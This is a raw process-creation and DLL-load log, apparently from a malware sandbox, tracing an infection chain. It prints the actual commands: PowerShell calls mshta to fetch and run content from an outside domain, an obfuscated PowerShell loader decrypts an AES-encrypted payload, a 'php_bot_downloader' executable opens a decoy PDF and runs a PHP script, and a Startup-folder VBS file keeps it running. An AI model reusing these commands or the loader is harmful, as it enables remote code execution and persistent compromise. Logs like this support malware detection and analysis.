Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Leng
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1720,i,17340846460468953801,1805849140092646528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe "C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe"
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Leng	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe "C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1720,i,17340846460468953801,1805849140092646528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
